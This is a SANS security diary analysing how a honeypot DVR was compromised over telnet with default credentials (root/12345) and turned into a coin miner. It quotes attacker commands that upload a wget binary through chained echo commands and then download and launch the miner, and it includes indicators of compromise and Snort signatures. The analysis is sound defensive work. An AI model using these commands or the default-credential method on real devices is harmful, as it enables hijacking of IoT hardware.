Coin Mining DVRs: A compromise from start to finish.

Published: 2014-05-05
Last Updated: 2014-05-05 18:07:32 UTC
by Johannes Ullrich (Version: 1)
5 comment(s)

The Criminals Behind It

After posting this diary, a brand new twitter account was used to post two tweets admitting to be behind this particular string of *coin miners:

Screen shot of tweets admitting to attack

The python code posted to pastebin looks like a plausible source of these scans. 


The Infection

We talked before about DVRs being abused as bitcoin (or better Litecoin) mining bots. As part of my "IoT Honeypot Lab", I started adding a DVR to see how long it took to get compromised. The DVR was installed "as purchased" and port 23 was exposed to the internet.

Initially, I saw a number of scans that found the DVR and started brute forcing passwords. These attempts ran pretty much continuously. During the first day of the test, 13 different source IPs scanned our honeypot, 6 managed to log in using the default username and password ("root", "12345").

Only one of the attackers went beyond a simple "fingerprint" of the honeypot.

Part of this attack I didn't quite understand until capturing it fully in my honeypot was how the attacker uploads the bitcoin mining binary. This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client. Instead, the initial transfer has to happen via the telnet console (nope... "kermit" isn't available either). Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary. 

Here is a quick example of one of these echo commands (spaces added to allow for sensible line breaks):

echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm && echo -e '\x64\x6f\x6e\x65'

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget". Later, this wget is used to retrieve the actual miner:

./rand0-btcminer-arm && chmod u+x btcminer-arm && ./btcminer-arm -B -o stratum+tcp:// -t 4 -q && echo -ne '\x64\x6f\x6e\x65'

Again, a final "done" is sent to confirm execution.

Next, the miner connects to the supplied startum proxy. The protocol exchanges JSON objects handing out workloads to different miners, effectively distributing a particular workload among many miners [1]

Our DVR first subscribes:

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.3.3"]}

and later, the miner sends an authorization request without username / password that appears to be accepted:

request: {"id": 2, "method": "mining.authorize", "params": ["", ""]}
response: {"error": null, "id": 2, "result": true}

Throughout the day, the server periodically pushes parameters to the miner, but I haven't seen the miner return anything yet, which probably underscores the fact that these miners are pretty useless due to their weak CPUs.

The DVR did get infected multiple times, but none of the attackers changed the default password, or removed prior bitcoin miners. 

The Device

In this test, I used an EPCOM Hikvision S04 DVR without any cameras attached [2] . I purchased it off eBay ans as far as I can tell, it came in factory new condition. The device appears to be mostly built for the central/south American market. It's default language is Spanish. On first setup, the user is not asked to change the password. The only input device delivered with the system is a USB mouse and an on-screen keyboard is used. If the user changes the default password, the user is at first only offered a number-only keyboard, but it can easyly be switched to a full keyboard (again only on-screen). The configuration allows the user to change a number of different parameters. For example, it is possible to change the HTTP port used by the device. However, I have not found a reference to the telnet server in the configuration menus. There appears to be no ability to turn it off, or change the port. I also haven't seen a firewall function. The device is IPv6 capable and is more likely to be exposed to the outside world in an IPv6 setup. The device uses EUI-64 derived addresses which are somewhat guessable given that the OUI of "8c:e7:48" appears to be common to these devices (this OUI is interestingly just assigned to "Private").

Hikvision DVR Change Password Dialog
Figure 1: DVR change password dialog (click on image for larger version)

Indicators of Compromise:

Port 3333 TCP appears to be the preferred "miner" port and should be monitored.

I expect the IP addresses involved to be more ephemeral. But refer to the full packet capture for details. Here are a couple of snort signatures that worked for me:

# detect if we do have an exposed DVR in our network
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "DVR Login Prompt"; sid: 1100001; content: "|0a|dvrdvs login: "; flow: from_server, establishe\
# detect "banner" returned by busybox. Removed detailed version information
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "Successful BusyBox Telnet Login"; sid: 1100002; content: "BusyBox v"; content: "built-in shel\
l (ash)"; within: 60; flow: from_server, established;)
# specific "Subscribe" request used by this miner. May need to be a bit more generic. E.g. keep port at "any" ?
alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: "bitcoin miner subscribe request"; sid: 1100003; content: "{\"id\": 1, \"method\": \"mining.\
subscribe\", \"params\"";)

Packet Capture

You can find a full packet capture at

here some of the highlights to look for:

Frame 1-43: First successful login from The attacker logs in and explores the DVR (cat /proc/version and ps). The attacker checks if the "echo" trick works and if wget is available (it is not available). Each commands ends with an "echo" command that indicates the return status. It is likely that this is a particular tool that is used to automate this exchange.

Frame 44-1229 ( eq 1): The attacker now "uploads" wget using the "echo" trick, the uses wget to download the miner and starts the miner.

Frame 831-1223 ( eq 2): This is the download of the bitcoin miner initiated in the prior connection. The download connects to Looks like runs lighttpd based on the banner returned.

Frame 1217-1246 ( eq 3): The bitcoin miner connection.

The "game" repeats later after the honeypot was rebooted and the miner exited as a result.


Johannes B. Ullrich, Ph.D.
SANS Technology Institute

5 comment(s)
Diary Archives